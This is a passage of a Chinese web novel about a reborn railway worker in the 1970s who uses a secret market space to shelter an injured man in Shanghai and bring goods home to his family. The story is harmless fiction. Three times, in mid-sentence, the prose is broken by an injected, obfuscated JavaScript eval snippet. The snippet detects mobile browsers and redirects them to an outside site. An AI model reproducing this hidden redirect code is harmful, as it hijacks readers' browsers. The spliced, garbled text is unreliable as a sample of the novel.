张阿姨笑呵呵的,人也不往屋里张望,“一会儿吾就把东西给侬拿来,邻居问吾,吾只是说一个亲戚暂时住在这里,没说别的,侬放心的呀。” “姨您可真的是我亲姨!您等一下啊。”说完,席于飞就往屋里跑,顺手把篮子放在客厅桌子上,然后进了空屋子。他跑去糕点铺子,用那边传统纸盒装了一盒子点心拿了出来,送到门口张阿姨手里,“从京城带来的,不知道合不合我姨的口味。” 张阿姨看着那一盒子点心,笑的合不拢嘴,“哎呀哎呀,这可要不得,这也太破费了。” “给我亲姨吃,叫什么破费。”席于飞挽着张阿姨的手臂扭了两下,“以后我在这边,还指望我姨能多照顾我呢。” “好好好,”张阿姨接过点心,笑的满脸大白牙,“以后有什么事的呀,就去找吾,哦哟,侬这个孩子,真的是太可人了。” 云穆清透过窗户,看着席于飞撒娇的样子目瞪口呆。 多,多大的人了,怎么还带抱着胳膊扭的呢? 又不是小姑娘! 17.老气横秋 “一会儿张姨会送一些煤炭劈柴过来,”席于飞走回房间,表情平静,仿佛刚才撒娇的不是他,“明天我就走了,你在这里好好休息,自己做点儿吃的也方便。” “不用那么麻烦……”云穆清有些局促,“我可以去住招待所。” “那边人杂,你医院都不敢去,还去住招待所。”席于飞无语的看向云穆清,“让你住你就住,哪儿这么多废话?” “可是这里……”云穆清看向周围,“借住别人家,总会不太方便吧?” “我家,”席于飞道:“这是我家,有什么不方便的。” 云穆清有些愣怔,但也没有问什么。 他知道现在的自己已经被人盯上了,出去随便乱逛是绝对不行的。 那群人既然能从京城追到这里来,那么沪市这边绝对是有他们的人。 譬如说…… 自己爷爷很相信的那个学生。 云穆清深吸一口气,“谢谢你。” “成了,我就当一日一善。你在这里好好休息,等伤好了再回京城。估计那些人找不到你,也都回去了。对了,你最好提前打个电话过去,把老侯名下的那个位置占了。你不知道老侯多抢手,哦,他叫侯长青。” 席于飞指了指张阿姨送来的篮子,“包子,吃吗?” 沪市这边跟包子也叫馒头,什么肉馒头菜馒头,还有豆沙馅的馒头,其实都是包子。 云穆清不好意思的摇了摇头,“之前饿狠了,没少吃你留下的东西。现在还不饿……那什么,你没吃饭吗,赶紧吃吧。” 席于飞点点头,“那成,我吃点儿。你去休息吧,受伤的人要多睡觉才能好。那个药你也要记得吃,计量我都写在纸包上了。” 带外包装的药片他哪里敢拿出手,直接都挤了出来,随便找了张白纸裹上,上面写好药品名字和计量。 云穆清想起那个碘酒瓶子,他缓缓问道:“我刚才……我看到那个碘酒盖子上,印的日期很奇怪。” 上面写着2021几月几号的,后面的月日还算能看懂,前面难不成是编号? 谁家的药品盖子上会有这样的编号? 席于飞正在咀嚼的嘴一顿,冷静到:“要不是这样,你以为我能拿到这么好的药?” 云穆清满脑子问号,“什么?” “日期印错了,所以这一批就流了出来。否则这都是外贸药品,我们老百姓也拿不到。哎呀,等你跟了车就知道了,我们这些跟车的除了死工资,自己也会整点儿赚钱的路子……那什么,你不会去举报吧?” 席于飞说完,斜着眼觑着云穆清。 “不,不会。”云穆清笑着摇了摇头,“看着比军中药品还精致,我以为那是什么奇怪的编号。原来是外贸药品。” 席于飞松了口气,觉得现在的人真朴实,别人说什么就信什么。 “行了,你赶紧休息去吧,一会儿我吃完了也睡一下。” 云穆清点点头。 他如今的身体状况确实不是很好,主要是后脑勺的那个包影响太大,到现在都会有一些晕眩的感觉。 等未来云总回到他自己的房间,席于飞松了口气。 几十年后的东西跟现在差别太大了,光材质都不一样。他挑了好半天才挑到玻璃瓶的,这种至少肉眼看不出来区别。 张阿姨速度很快,让她儿子送来了一筐蜂窝煤,一筐劈柴。 那个大小伙子把东西放进厨房,腼腆道:“如果不够用,侬可以告诉吾。” “足够了,替我向张姨说一声谢谢。”席于飞微笑着把人送走,扭头进了厨房,把门关好。 厨房里油盐酱醋都没有,只剩下一些锅碗瓢盆。 估计这些东西还是把房子还回来之后,对方不好意思全部拿走留下来的。 总不能自己占了房子之后,把房子清空才还给主人吧? 席于飞进了市场,挑挑拣拣了一些蔬菜,放的住的腊肉,油盐酱醋这种普通的调味品。放调味品的也都是刻意选出来的陶罐,只能说幸亏农贸区还保留着一些老东西。 只可惜现在农贸市场也没有那种搪瓷盘,金属盆子或者塑料盆拿出来也太吓人了。 不过他还是选了点儿白色没有印花和微波专用的盘子碗,这里的碗盘太少了,就那么几个,稍微多弄点东西就不够用。 厨房有专门放米面的缸,稍微擦洗一下就能用。 他把米面袋子拆开,往两个缸里各倒了五十斤。估计这些等他跑完沪市都吃不完,剩下的让张姨拿回去就好了。 估摸着差不多了,厨房看上去多了一丝人气。 席于飞也累得不行,他看了看天色,决定稍微睡一觉再回招待所。 独占一张大床的感觉太舒服了,席于飞美美的睡了一觉,醒来之后阳光西斜,已经到了大半下午。 他从房间出来,听见了厨房的动静,云穆清正在用煤炉子煮粥。 “你醒了?”云穆清站起身,估计是睡足了觉,他的脸色也好了不少,至少嘴唇没有那么苍白了。 “你会做饭?”席于飞揉着眼睛,打了个呵欠。 云穆清轻声道:“会一些,不过也没有什么难的,一会儿把剩下的包子和饼热一下就能吃了。” 席于飞点点头,又打了个呵欠,洗漱去了。 吃完这顿午饭加晚饭,席于飞道:“一会儿我就走了,你就安心住在这里。钥匙我给你留两把,等回京城你再还给我。哦对了,如果你走之前蔬菜和肉没吃完,就把它们送到3弄那里给张阿姨。别到时候再来就坏了。不过过几天我还会回来,这条线还要跟大半个月呢。” “我知道了,”云穆清看上去十分温顺,完全不像几十年后那种拒人千里之外的样子。 席于飞想了想又道:“其他的你也别多想,总之呢等跑西北那条线的时候,我看看能不能帮帮你。目前你先不要总想着平反,主要是先保证家里人的平安。否则你跟无头苍蝇似的在外面乱跑也没有什么用,或许还会造成反效果。” 云穆清认真的看着席于飞,突然笑了,“不知道为什么,你比我小,但说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726744|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的话老气横秋的。” “什么叫老气横秋?”席于飞不乐意了。 他现在是水灵灵的十九岁,又不是六十五! “你就说我说的有没有道理吧?” “有的,”云穆清乖巧的回答。 “有道理那就是正确的话,正确的话还分什么老和年轻的区别?你这人真的是,说话不讨喜。”席于飞心说我现在可是少年人了,怎么就老气横秋了? 想起以后有个词叫爹味,他上辈子没结婚,跟小辈也没能特别亲近,压根培养不出爹味。 根本不可能老气横秋! “对不起,我错了。”云穆清有些不好意思,“你说的都对。” “这还差不多。”席于飞翻了个白眼儿,“成了,我走了。备不住你伤还没养好我就又来了,总之一切以身体为重。算了,你都多大的人了我也没必要叮嘱这么多。好好休息吧。哦,把碗都刷了啊。” “好的。”云穆清完全没办法反抗,低垂着头,像一只乖巧的大狼狗。 席于飞抄着手往回溜达,没想到又遇到了那几个知青。 那个女知青梳着两条大辫子,长得挺漂亮的,不过一路走一路向四周看,好像在找什么。 其中一个男知青问道:“柳眉,你到底再找什么啊?” 叫柳眉的女知青脸上有一丝茫然,“我也不知道,我总觉得在这里应该能遇到一位老朋友。” 席于飞听到这,心里咯噔一下。 他想起如果自己没插手,那么遇到云穆清的就会是这几位知青,估计也是这几个知青把未来的云总救了。 不过后面会发生什么他不清楚,只记得云穆清资料上写的他是单身。不过他身边是否有关系比较好的朋友,这些席于飞也没有关注过。 难不成自己卡走了别人的机缘? 他想了想,随即摇了摇头。 算了,想这么多做什么,反正自己把云穆清救了,以后再帮帮他把家人安顿好,算是结个善缘,备不住以后自己要发展事业还能得个帮助呢。 毕竟未来京城商业扛把子可不是吹着玩的。 知青们从他身边路过,那名女知青看向席于飞,往前走了几步又回头瞅了几眼。 “怎么了?”男知青问,也往身后瞅,“你认识他?” “不,不认识。”柳眉摇了摇头。 虽然不认识,但她就是觉得熟悉,只是想不起来从哪里见过。 但不知道为什么,她总觉得自己真的错过了很重要的事,心里空落落的。 席于飞并没有关注这几个知青,等他回到宿舍才突然想起来,自己的“土特产”还没准备好呢。 宿舍里仍旧没人,不知道梅雨他们回来过没有。 他赶紧关上门进了市场,先去农贸市场那边找了个跟这个时代差不多的蛇皮袋子,然后又跑去服装面料那边,找了家卖毛线的店铺直接进去。 五颜六色羊绒线一团一团的摆放在柜台上,看的席于飞两眼冒光。 “土特产”就是它了! 18.心态不一样了 装了大半蛇皮袋子羊绒线,估摸着差不多了,又去卖布料的地方找到了熟悉的铺子,打算选几块布头。 好的布料没办法选,毕竟这时候国家市面上老百姓能买得到的面料就那么几种,而且就连花色也相当的单一。 左挑又看的,最终选了几块深蓝色和军绿色的牛仔布。这玩意跟帆布差不多,带回去可以给家里人做鞋面背包。又挑了几块灯芯绒,这种面料已经算得上市面上相当不错的了,谁要是有一件灯芯绒外套,那简直就是整个胡同最靓的仔。 最流行的的确良在未来已经失去了市场,各种千奇百怪的面料让人挑的眼花缭乱。 如果是别的老爷们,估计在选布料的时候会发愁,他们也不怎么接触这些。 但席于飞就不一样了,他当年在南方,可没跟着倒腾瑕疵布,靠这玩意赚了不少钱。改开之后他跟熟悉的厂家那边买了一车的布头,运到其他地方摆摊一天能卖掉半车! 就这布头和瑕疵布的生意,他在自己的市场都有个铺面,一直到自己挂之前,那铺面还库库的赚钱呢。 所以说卖布料,也是他发家的一个基础,对这些布料不说百分之百熟悉,至少也能看明白百分之五十了。 但相差四十多年,哪怕是纯棉布都有很大的不同。 不过这个店面毕竟是他自己的,几百种面料会让别人眼花缭乱,但对他来说很多品种摆放都十分清楚。 明面上没有了他需要的棉布,于是只能去库房,那里还有一些积压布料。如果他没有记错的话,有一包染色不太好看的碎花纯棉布卖的不是很好,但放在七十年代,能算是相当不错的料子了。 选了好几块布头,蛇皮袋子已经很满了,再多他就提不动了。 出了市场,把蛇皮袋子放在床头,席于飞打算休息一下,突然又想起得给家里带点儿其他东西。 他记得自己曾经无聊的时候喜欢刷某音,上面写谁谁穿越了有个空间,可以凭借意念取物。可惜他这个空间,必须要人进去自己挑选,意念?意念压根不管用! 等到了京城下了车,到处都是人,他还扛着个蛇皮袋子,根本没有机会再进市场拿东西了,所以这次必须要准备齐。 估摸着梅雨先回不来,席于飞干脆拎着那个铁路发的帆布包进了市场。 他直接奔市场旁边那栋三层商场,地下一层是超市,里面东西最全。挑了几斤糖果,散装糖果上面没有生产日期,很适合拿出来。金币巧克力,酒心巧克力的包装这么多年都没有变过。 巧克力这种糖果,只有友谊商店才会有得卖,改开之前,普通老百姓压根没有机会吃到这些东西,甚至听都没听说过。 席老爷子有个学生曾经在国外给他们带过一些这种糖,那精致的包装让他们压根舍不得吃。结果就是放在柜子里太久,喂了耗子了。 席于飞又选了些大虾酥,话梅硬糖,以及经典的大白兔奶糖。 买糖是需要糖票的,但糖票可是精贵的东西,工人每个月最多也就发二两的糖票。这些糖票压根都不舍得用,要留到过年好买糖果给孩子们甜甜嘴。 选好了糖,又去散装的糕点区装了一些大麻花。散装糕点区有复古包装,这让席于飞省了很大的工夫,否则他得出去买一份报纸才能包住这些食物。 眼巴巴的看着那一桶一桶的食用油,席于飞叹了口气。油是好东西,可直接拿出来太突兀了,主要是这个包装实在太“前卫”。 这时候买油盐酱醋,都是自己拎着瓶子去供销社打,每次也就打个二三两,最多一斤,家里人口少的省着吃,能吃上好几个月。 正因为如此,肥猪肉才特别受欢迎,因为可以靠出油。 席于飞遗憾的离开调味区,突然脚步一顿,又倒退回来。 他盯着货架上的老干妈,脑子里出现了一个绝妙的主意。 等他再次从市场回到宿舍,外面天色已经黑透了。摸了摸鼓鼓囊囊的帆布包,席于飞十分开心。 这个包里不止是装了糖果和点心,还装了两个五斤装的坛子。一个坛子里装满了老干妈豆豉辣椒酱,一个装满了酱豆腐。 前者对北方人来说是很新鲜的吃食,后世恨不得风靡整个地球。但后者曾经跟榨菜疙瘩并排为七八十年代小孩子们的“零食”首选。 谁家小孩的棒子面饼子上能放一块酱豆腐,或者谁手里能拿一块榨菜,那简直能把其他小孩儿馋到哭! 物资的匮乏哪怕是这种东西都算得上至上美味了,而且难买得很。 哪怕到了改开之后的八十年代,如果胡同里传来敲梆子的声音,带着榨菜酱豆腐的吆喝声,都会让人不由自主的分泌口水,然后缠着家长,拿着碗去买个几毛钱的,能解半个月的馋。 再次从市场出来,看看柜子上的闹钟,已经晚上十点了。 梅雨他们还没回来,席于飞摸了摸肚皮,又觉得有些饿了。这个岁数正是能吃的时候,明明下午已经跟云穆清吃的很饱了,可是在空间市场折腾了两回,肚皮已经憋了下去,开始咕噜咕噜的闹腾。 一个人待在宿舍实在是无聊,席于飞把帆布包往床底下一塞,蛇皮袋子也捆好,揣着钱票溜达出去。 食堂里仍旧有人吃饭,不过这个点儿大师傅都下班了,只有馒头包子咸菜和粥,面条能选。 席于飞要了一碗粥,外加四个肉包子,坐在桌边唏哩呼噜的吃。吃饱喝足又溜达到前台,跟那边的服务员要了一份报纸。 这报纸已经是好几天之前的了,不过用来打发时间,还是足够的。 这是一份人民日报,七十年代的人民日报里面娱乐版块很少,就算有,也都是一些红到发紫的小故事。更多的是一些国家大事,国际关系,各地产出,粮食增产之类。 还有一个很有意思的版块,叫为工农兵演出。这个版块上印的都是各种影票的样子,裁剪下来可以免费去看演出。 挺大一块版面,已经被剪的七零八落,不过还是可以看到下面写的演出表。什么黄河,智取威虎山,草原儿女与白毛女。这些片子可是这个年代最脍炙人口的电影了,可以说是让人百看不厌。 他抖了抖报纸,想起自己曾经在电影院卖瓜子的青春岁月。为了赚口饭吃,他当年真的是无所不用其极,什么赚钱的门路都想要去尝试一下。 看完报纸,宿舍里其他人还没回来。席于飞干脆也不等了,直接脱衣服睡觉。 这时候不回来,怕是要等到明天早晨才会回来,只要他们别错过集合时间就好,其他的都无所谓。 席于飞是被一阵敲门声吵醒的。 外面已经天光大亮,他坐起身挠了挠头,喊道:“别敲了,起来了!” 看看闹钟,竟然已经十点半了,他这一觉,睡的可够沉的。 门一开,梅雨陈虎程成都在门口站着,手里拎着大包小包。尤其是陈虎,看上去十分亢奋,毕竟这也是他第一次跟车,并且第一次“赚外快”。 “我一猜就知道是你在。”梅雨大声说着,带着一股子酒气拎着两个大蛇皮袋子进了宿舍。 席于飞无语道:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737822|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们仨都在门外,那屋里必定是我啊,这还用猜?” 陈虎跟程成都嘎嘎大笑,梅雨愣了愣,抬手揉了揉脑袋,“不行,我还没醒酒呢,我要去洗个澡,你们谁去?” “你去吧,我不去,我洗过了。”陈虎手里只拎着一个挺大的帆布袋子,里面装的鼓鼓囊囊四角八棱的,也不知道都是什么东西。 程成也不去,他放下手里的东西往床上一扑,“我再躺一会儿,这一路给我折腾的,累死了。” 列车上带货规矩就是谁也别问对方带的什么,从哪里弄来的。这是人家赚钱的门路,你张嘴就问,会显得很不懂事,容易被排挤。 “你们睡吧,我去洗漱一下。”席于飞把衣服穿好,端着盆子进了卫生间。 梅雨着急忙慌的拿了换洗衣服去洗澡,他如果敢带一身酒味上车,能被老侯骂到死。 席于飞洗完出来一看,另外俩兄弟都躺平了,就连亢奋的陈虎都一副半死不活的样子。 “吃饭了吗?需要我给你们带点吃的不?” “吃过了,”陈虎摆摆手,“你去吃吧,我躺一会儿。” 席于飞带上门去了食堂,上午的餐点比晚上要丰富,除了粥,包子面条之外,还有炸油条,油饼,小馄饨。 要了一碗小馄饨,两根油条,席于飞挑了个人少的角落,慢悠悠开始享用早餐。 这时候食堂里人很多,不少都穿着铁路的制服,但口音南北都有,乱糟糟的。不过看精神面貌就能看出来,谁是刚出完车来这里休息,谁是已经休息完要集合跟车离开的。 席于飞突然觉得这个场景很有趣,明明已经经历过小两年的熟悉场景,如今再次经历,竟然还有一种崭新的感觉。 心态不一样了。 这种认知,让他的心情突然好了起来。 下午集合时间是两点,但发车时间是三点半。 车组人员要先上车,进行各种检查。 乘务员需要打开部分窗户给车里透气,然后再打扫一遍车厢,看看有没有遗落物品。 机组那边要烧锅炉,然后送水员需要把热水灌满每一个车厢的热水桶。 一趟车上的同事几乎都大包小包的带着,对于这些老侯基本睁一眼闭一眼,毕竟他也带了不少东西。 乘务员还好,有自己专门休息的值班室,可以把带上来的东西放进去。但其他车组就得想办法,跟乘务员关系好的一起放值班室,跟餐车关系好的就放餐车。 席于飞毕竟是新人,也没人过来跟他分享值班室。对于其他人来说,带上车的东西都是要保密的,如果不是很熟悉,东西被人翻看了,或许会造成很大的麻烦。 不过这样也好,他正好落得清净。 毕竟他也害怕有人翻自己的包,那些羊绒线,确实不太好解释出处。 三点,乘客们就已经大包小包的进入站台。这里是始发站,乘务员会提前打开车门,拉下梯子,耐心的查看乘客的车票。 不过乘客可没有那个耐心,他们该跳窗的跳窗,该往里挤的往里挤。 乘警们会跟车站公安在下面维持秩序,尤其是这时候会有人趁乱偷东西,不盯紧不行。 三点半,随着车头那边的旗子一晃,乘务员与乘警全部上车,拉起车梯,关上车门。 列车呜呜呜的鸣笛,库查库查的驶离了车站…… 席于飞扫了眼车厢里乱哄哄的人,进休息室拿东西准备查票。突然,他停下动作,再次逡巡车厢里的乘客。 一张熟悉的脸,突然映入眼帘。 19.甩锅 那是一个年轻人,个头不高,皮肤很黑,穿着一身时尚的绿军装。 但长得实属令人难受,他一只眼睛正常,另一只眼斜视,左脸脸颊上还有一块核桃大的胎记。 他身边同样坐着几个穿着绿军装的小年轻,几个人旁若无人似的在车厢里大声聊天,周围压根没人敢往前靠。 这副打扮,这个岁数,在这个年代,那就是嚣张的代名词,谁都不敢得罪的存在。 谁得罪了他们,立马就能被扣上大帽子,备不住家都得被砸光。 席于飞之所以对这个胎记男眼熟,是因为上辈子碰到过,而且还起过冲突。后来这家伙的靠山到了,他自然也跟着被抓,供出一系列令人瞠目结舌的事。 这群人,就是京城某个大人物豢养的打手,给点儿好处就敢跟人动手,死伤不论,跋扈嚣张。 跟他起冲突的时候席于飞还小,不过十三四岁。也正是因为得罪了小人,席家三天两头被找麻烦,要不是有□□亲笔题字撑着,席家早就被撵去大西北了。 这群人是两千年被抓的,身上好像还背了个什么特务间谍罪。那时候席于飞进家门被撵出来,心情低落,这个报道倒是让他兴奋了几天。 不过,他们这时候来沪市做什么? “查票了查票了,各位兄弟老少爷们儿姐妹婶娘都安静点儿啊,把票拿出来,没买票的记得过来补票。查票了!” 席于飞收回目光,脖子上挂着补票的兜,身后跟着陈虎,一边帮乘客摆放行礼一边看着他们手里的票。 刚上车的时候逃票的不多,有几个想要躲,发现另一头车厢也在往这边集中查票,于是只能掏出钱和介绍信补票。 光有钱没有介绍信不成,会被当成盲流抓起来。 查到胎记男那边,那几个人掏出票递过来。胎记男往席于飞脸上看了好几眼,“哎哟哥们儿,我瞅你眼熟啊。” “不能吧?”席于飞笑也没笑,只是低着头看票,“我们天南海北的跑,估计就是之前哪趟车遇到过。” 胎记男估计也是这么回事,收了递回来的票,没再搭理席于飞。 “怎么着?咱陈哥还能看一男的眼熟?”胎记男身边那个小年轻搭茬儿,“这黑了吧唧的瘦猴,满大街都是。” 听到他的声音,席于飞抬头飞快的扫了一眼。 耳熟,真的很耳熟,仿佛就在这几天听过这个人说话。 这不过就是个小插曲,等席于飞回到值班室,怎么想都觉得不太对劲儿。 几个京城的红小兵,大老远叭叭跑到沪市,是想做什么? 还有那个声音,那个声音…… 席于飞猛地想起来,那个声音为什么会这么耳熟了! “特么的,就你家还想平反?美得你……” 对,就是那个声音!带着熟悉的京腔,一股子狠厉油滑的劲儿。 那个云穆清家里,到底得罪了谁?? 毕竟时间隔得太久远了,席于飞闭上眼,用力思索当年看到的新闻。 打手……黑恶势力保护伞……某省厅老虎落马…… 某省厅!! 何玉声!! 席于飞并不熟悉这位省厅级别的大佬是怎么上来的,但记得新闻里说他是京城人。 京城人,云家也是京城人,姓陈的胎记男,,挨揍的云穆清…… 线索似乎是对上了。 云家,这是得罪了个厉害人物啊。 回程基本一帆风顺,就是抓到几批盲流,列车停靠的时候直接送到车站公安那边去了。 席于飞从车站出来,肩膀上扛着个巨大的蛇皮袋子,手里拎着帆布包,站在人群熙熙攘攘的车站广场上发了一会呆。 别看从家里空手走来轻松方便,但这大包小裹的回去可就不能靠11路了,他得累死。 “哎哟喂,这位爷,去哪儿啊?”正当席于飞到处看的时候,熟悉的腔调在身后响起。 他回头去看,笑了,“哎哟喂,张大板儿爷?空着呢?” “刚来!”张大嘴啧啧两声,从板车上下来,“发财了啊小凤凰?” 席于飞小时候,家里有个宠溺的小名叫小凤凰。但后来形势严峻,这名字就不敢叫了,改叫大宝了。 “板儿爷,看地方,什么都说呢?”席于飞也不客气,直接把蛇皮袋子往平板车上一扔,“一趟两毛加货三毛对吧?” “对着呢。”张大嘴笑嘻嘻的看着席于飞上了板车,“走了啊大飞,坐好!” 京城马路上的自行车没有沪市那么多,张大嘴把板车骑的都快飞起来了,“这是刚出车回来?去的哪儿啊?” “沪市!”风呼呼的,席于飞扯着嗓子喊。 “哎哟,那可是好地方,大城市,我年轻的时候也去过!”张大嘴说的年轻的时候是之前大串联,红小兵坐火车不花钱,他跟着蹭的车。 “比京城热闹,自行车也多。”席于飞回。 张大嘴道:“那地方,钱多,都是大老板!以前我爹还跟那边的人做过生意,不过年头不好,赔了。” 张家毕竟是八旗子弟,他之前也不姓张,叫什么席于飞记不清了,但张家也没有追着八旗子弟改姓的规矩来,而是后来跟着一个老和尚的俗家姓。 算是独树一帜,顺带把自己稍微洗一下。 估计可能也是因为这样,虽然张大嘴之前受过一段日子的罪,但这几年稍微舒服了一些,街道还给他安排了拉板车的活儿,日子勉强能过。 京城可不缺这些遗老遗少,高调的有钱的要么出国了,要么被弄去西北了,剩下的都低调起来,平日里头都不抬,恨不得门也不出。 席家离车站近,很快就到了。 席于飞给了钱,张大嘴一开始说不要,但架不住硬塞,还是收下了。 “给孩子们吃。”他又往张大嘴兜里塞了一把大白兔。 “啧,好东西啊!”张大嘴把给孩子吃几个字直接无视掉,抓起一颗剥开包装就塞进嘴里,“香!” 席于飞无语,“成了,我到家了,您了忙去吧。” “成,您也忙着!”张大嘴拉长腔调,嬉皮笑脸的上车走了。 进了家门,院子里晾晒的都是床单被罩。 曾柳华正在跟大儿媳妇拧被单子呢,听见动静往门口看,“谁啊?” “还能有谁啊?你儿子我啊!”席于飞拖着蛇皮袋子,笑嘻嘻的走进来,“娘诶,想死我了。” “哎哟我大宝!”曾柳华把被单子往大儿媳妇手里一塞,颠颠的跑过来,“看我大宝,哎哟这几天累的不行吧?怎么又瘦了啊。” “哪儿就瘦了?我还长了点肉呢,这几天可没少吃。”席于飞进了门,回手把院门关上了,压低声音道:“我给娘带了好东西,走走走,进屋看去。” 曾柳华看着脚底下的蛇皮袋子,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739491|173223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拎,“还挺沉,放的什么啊?” “进屋进屋,进屋说!”席于飞拎着他的帆布包往正房走,“大嫂二嫂,忙完进屋啊。” 屋里炕上也放着一堆估计是刚弹好还没来得及绷面子的棉花卷。 毕竟京城也开始冷下来了,家家户户都在晒冬天的铺盖衣裳。 棉花要弹,被单子拆下来要洗,棉衣棉裤也要晾晒,否则里面板结,穿着不暖和。 席于飞先把帆布袋子往炕上一撂,然后把棉花卷往炕里面推,自己脱鞋上炕,“娘,看我给你们带的好东西。沪市那边的糖,点心,还有下饭的酱跟酱豆腐。” 酱豆腐在南方叫腐乳,在北方很多地方都叫它酱豆腐。 曾柳华看着一炕的东西,第一个想法不是儿子把工资都花了,而是—— “哎哟,还是大宝知道心疼人,去这么老远的地方,还知道给家里买东西回来。” 刚进门的大嫂二嫂面面相觑,知道自己这个婆婆妈心眼子都偏咯吱窝了。 但没办法,谁让小六是家里宠着长大的,还去东北受了三年罪呢。 那一坛子酱豆腐得上百块,大嫂心疼的不行,“这得多少钱啊……” 还有这么多糖和点心,小六日子不过了啊? 曾柳华想说又没花你的钱,但立马想起来自己还欠着老大媳妇娘家五百块饥荒,于是换了个画风,“难得出去一趟,也是大宝的好心,你看看你,有的吃还不成?” “娘,我不是那意思。”大嫂有点儿尴尬。 “娘,大嫂就是过节省习惯了。”二嫂连忙帮着找补。 她们这个婆婆看上去好说话,但前提是别跟小六相关。但凡牵扯到席于飞,婆婆立马翻脸。 “娘,大嫂二嫂,这次出门我还赚钱了呢。”席于飞坐在炕上,把蛇皮袋子也扯上来,解开上面的绳子,“当当当当!!” 他拽着袋子下面的角,用力往外抖。 “我的天哪!!”一屋子女人都惊呆了。 一摞摞的布,一团团颜色鲜艳的毛线,就这么稀里哗啦的从袋子里滚了出来。 “你这是,你……”曾柳华都不知道说什么好了,“大宝啊,咱家可不兴去干拦路抢劫的事儿啊。” 出去一趟拿回来这么多东西,这得花多少钱票? 大宝身上带的钱可绝对不够! “娘,您这话说的,我不是说了吗我赚钱了!”席于飞哭笑不得,“我跟着我大师兄还有我师父,帮人倒腾瑕疵布和毛线,赚了些钱,然后又买了好多,还跟大师兄借了点儿。娘,这可不是普通的毛线,这是羊绒线。贴身穿都不扎得慌,回头给咱家里人一人一件毛坎肩,穿衬衣里面。” 二嫂拿起一团毛线捏了捏,“我的娘诶,真软啊这个线。” “外贸的,赚老外外汇的线,最好的线呢。”席于飞笑道:“咱们这边市面上都买不到!” 这是他能找到的最好借口了,把锅往老侯跟梅雨身上一甩,最后出处就是外贸瑕疵货,反正没人去查。 “还有这个布,瑕疵的布头。”席于飞又把布拿过来给她们看,“厂里直接拿的,可便宜了。这个蓝色帆布的可以给家里做裤子,做鞋面,绿色的给每个人缝个包。还有这条绒布,娘您看,这块红色碎花的多好看啊,给我几个嫂子做衣裳穿!” 大嫂摸着那红色碎花的条绒布,脸都涨红了,“这也太好看了吧!” 20.爹你睁眼看我 等席家其他人下班放学从幼儿园托儿所接回来,乌泱泱的一大屋子,都被曾柳华集中起来了。 席文明瞅着一炕的东西,也倒抽一口冷气,“这啥情况啊?咱大宝抢劫去了?” 席于飞:“……不是,爹,您睁开眼看看我,我这小胳膊小腿儿,抢谁啊?” 席文明不是没见过世面的人,毕竟他可是能带着一群学生跟家里老婆孩子徒步从奉城那边走到京城讨生活的牛人。 但面对着一炕五颜六色的羊绒线和大块大块的布头,也有些震惊。 席于飞又把他之前就考虑好的让老侯跟大师兄背锅的话说了一遍,安慰道:“爹,正经来的东西,都是从厂家库房拿的。我大师兄他们特地带我过去让我赚点儿。” 席文明是很激动的,他抬眼看了看曾柳华,不过曾柳华已经激动过了,目前表情平静,“看我干啥?你大宝带回来孝敬你的。” “啥就孝敬我?大宝没孝敬你?”席文明作为大家长,很快就平静下来,他看向席于飞,“你师父你师兄对你这么好,你可得感谢人家,要不这么地一会儿我带你去你师傅家……” “爹,”席于飞连忙制止他,真要过去,那可就露馅了,“这是啥时候啊,这种事咱们过去了怎么说?万一被别人听到怎么办?爹,要感谢也不是这一时半会的,只要我努力帮他们也是感谢的一种,不是吗?” 席文明思忖片刻,点点头,“那你可得好好帮你师傅他们干活,话说,这东西来路正经吗?” “人家沪市那边可不缺这些玩意,沪市老有钱了。”席于飞摆摆手,“爹啊,您可别操心了,我带这些东西回来,是有点儿想法的。不过这想法得晚上咱们关上门说。” “大宝啊,沪市什么样啊?”三嫂早就按耐不住了,她刚进门的时候俩眼珠子就黏在炕上那些东西身上了,不管是包装亮晶晶的糖果,还是那些见都没见过的线团,花布,都让她心跳加速。 这些,都是小六从沪市带来的东西?妈耶,沪市那边老百姓都用这么好的东西啊?那边得多富裕啊? 席于飞想了想道:“沪市跟咱们这里还真不一样,咱们这边多四合院,那边多小洋楼。而且那边离海近,很多人都吃鱼和螃蟹。等下回我带点儿鱼鲞回来,鱼鲞你们知道不?就是腌制好晒的鱼干,据说蒸一下就特别好吃。” 京城毕竟算是内陆,周围虽然有好几个城市近海,但它不是,所以吃点儿海鲜还是挺麻烦的。 目前京城常见的海鲜就是海带虾酱,偶尔能在供销社看见冷冻的带鱼。 不过河鲜还是有的,只不过河鲜也是稀罕物,只要上了供销社那就得去抢,去晚了也只能闻味儿了。 曾柳华满意的看着他家大宝,然后淡定的一挥手,“成了,先收拾起来,吃饭。等吃完饭我给你们把东西分一分。” 